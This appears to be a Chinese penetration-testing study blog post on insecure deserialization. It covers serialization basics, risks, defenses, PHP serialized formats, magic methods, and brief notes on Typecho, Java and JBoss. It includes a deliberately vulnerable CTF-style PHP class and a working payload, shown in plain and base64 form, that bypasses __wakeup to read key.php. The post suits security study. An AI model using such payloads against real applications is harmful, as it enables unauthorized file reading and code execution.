渗透测试-18:反序列化漏洞

序列化/反序列化

  • 序列化:将对象转为字节流,目的是方便对象在内存、文件、数据库或者网络之间的传递
  • 反序列化:序列化的逆过程,即将字节流转为对象的过程

序列化技术的用途

• 经由电信线路传输资料(通信)
• 存储资料(存在数据库或硬盘)
• 远程程序调用
• 检测随时间资料的变动

漏洞原理

  • 原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果
  • 反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通

漏洞危害

  • 不安全的反序列化,主要造成的危害是远程代码执行
  • 如果无法远程代码执行,也可能导致权限提升、任意文件读取、拒绝服务攻击等

防御方式

  • 应该尽量避免用户输入反序列化的参数
  • 如果确实需要对不受信任的数据源进行反序列化,需要确保数据未被篡改,比如使用数字签名来检查数据的完整性
  • 严格控制反序列化相关函数的参数,坚持用户所输入的信息都是不可靠的原则
  • 对于反序列化后的变量内容进行检查,以确定内容没有被污染
  • 做好代码审计相关工作,提高开发人员的安全意识

PHP反序列化

  • PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果
  • 相关函数:serialize()unserialize()

对象转为字符序列

常见的表示类型的字符

O:类
a:数组(array)
b:boolean
i:整型
s:字符串
N:NULL
d:double,浮点型

访问控制符:public/protected/private

<?php
header("content-type:text/html;charset=utf-8;");
class People
{
	public $name = "张三";
	protected $age = 18;
	private $money = 100.5;
	public function __construct($name, $age, $money)
	{
		$this->name = $name;
		$this->age = $age;
		$this->money = $money;
	}
	public function hello()
	{
		echo "My name is $this->name ,my age is $this->age ! ";
		echo "I have $this->money RMB!";
	}
}
$obj = new People("李四", 20, 175.5);
echo serialize($obj);

// O:6:"People":3:{s:4:"name";s:6:"李四";s:6:"*age";i:20;s:13:"Peoplemoney";d:175.5;}
$str = 'O:6:"People":3:{s:4:"name";s:6:"王五";S:6:"\00*\00age";i:22;S:13:"\00People\00money";d:180.5;}';
$obj = unserialize($str);
$obj->hello();

// My name is 王五 ,my age is 22 !
// I have 180.5 RMB!

魔术方法

魔术方法 作用
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象当作一个字符串使用时调用
__sleep() 当对象被序列化之前调用
__wakeup() 当对象被反序列化之后被调用
__call() 当对象调用某个不存在的方法时调用
__get() 当读取一个不存在的属性值时调用
__set() 当给一个不存在的属性复制时调用
__clone() 当克隆对象时调用
__isset() 当检测一个对象的属性是否存在时调用
__unset() 删除一个对象时调用
__set_state() 调用var_export时调用

绕过方式

  • 属性 个数大于实际个数的时候,会绕过 __wakeup 方法
  • protected 类型属性要使用 \00 代替空,并且小 s 变大 S
<?php
error_reporting(0);
class SoFun
{
    protected $file = 'show_code.php';

    public function __construct($file)
    {
        $this->file = $file;
    }

    function __destruct()
    {
        if (!empty($this->file)) {
            if (strchr($this->file, "\\") === false && strchr($this->file, '/') === false)
                show_source(dirname(__FILE__) . '/' . $this->file);
            else
                die('Wrong filename.');
        }
    }

    function __wakeup()
    {
        $this->file = 'show_code.php';
    }

    public function __toString()
    {
        return '';
    }
}

if (!isset($_GET['file'])) {
    show_source('show_code.php');
} else {
    $file = base64_decode($_GET['file']);
    echo unserialize($file);
}
?>

<!--key in key.php-->

payload

// O:5:"SoFun":2:{S:7:"\00*\00file";s:7:"key.php";}

show_code.php?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo3OiJrZXkucGhwIjt9

Typecho反序列化

Typecho是一个简单,轻巧的博客程序。基于PHP,使用多种数据库(Mysql,PostgreSQL,SQLite)储存数据。在GPL Version 2许可证下发行,是一个开源的程序,Typecho漏洞发生在网站的install.php文件

利用链

JAVA反序列化

  • Java框架:Spring MVC、MyBatis、Dubbo、Maven、RabbitMQ、Redis、Shiro、Log4J
  • Java中间件:Apache、Tomcat、Struts、WebLogic、JBoss

• Java序列化就是指把Java对象转换为字节序列的过程,Java反序列化就是指把字节序列恢复为Java对象的过程
• 序列化的作用:在传递和保存对象时,保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中
• 反序列化的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象

用途

• 将对象转为字节流存储到硬盘上,当JVM停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)。
• 序列化成字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输
• 通过序列化可以在进程间传递对象

• 序列化:Java序列化是指把java的对象转化为字节序列的一个过程,便于储存
• ObjectOutputStream类的writeObject()方法可以实现序列化
• 反序列化:就是把字符序列恢复为java对象的的过程
• ObjectInputStream类的readObject()用于反序列化
• 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

序列化技术对比

维度 Java序列化 JSON Thrift ProtoBuf Avro
跨语言
协议可读性 Java代码,无协议 好,易于理解 较好 较好 较好
数据类型 任意对象 任意类型,不支持union 任意类型,支持union 任意类型,支持union 任意类型,支持union
开发成本 直接使用 引入JSON库 安装Thrift工具,引入Thrift库 安装protoc工具,引入ProtoBuf库 引入Avro库

Jboss简介

• Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
• JBoss应用服务器还具有许多优秀的特质。JBoss运行后后台管理界面
• 其一,将具有革命性的JMX微内核服务作为其总线结构;
• 其二,本身就是面向服务架构(Service-Oriented Architecture);
• 其三,具有统一的类装载器,从而能够实现应用的热部署和热卸载能力。

posted @ 2022-04-07 09:02  toki-plus  阅读(512)  评论(0编辑  收藏  举报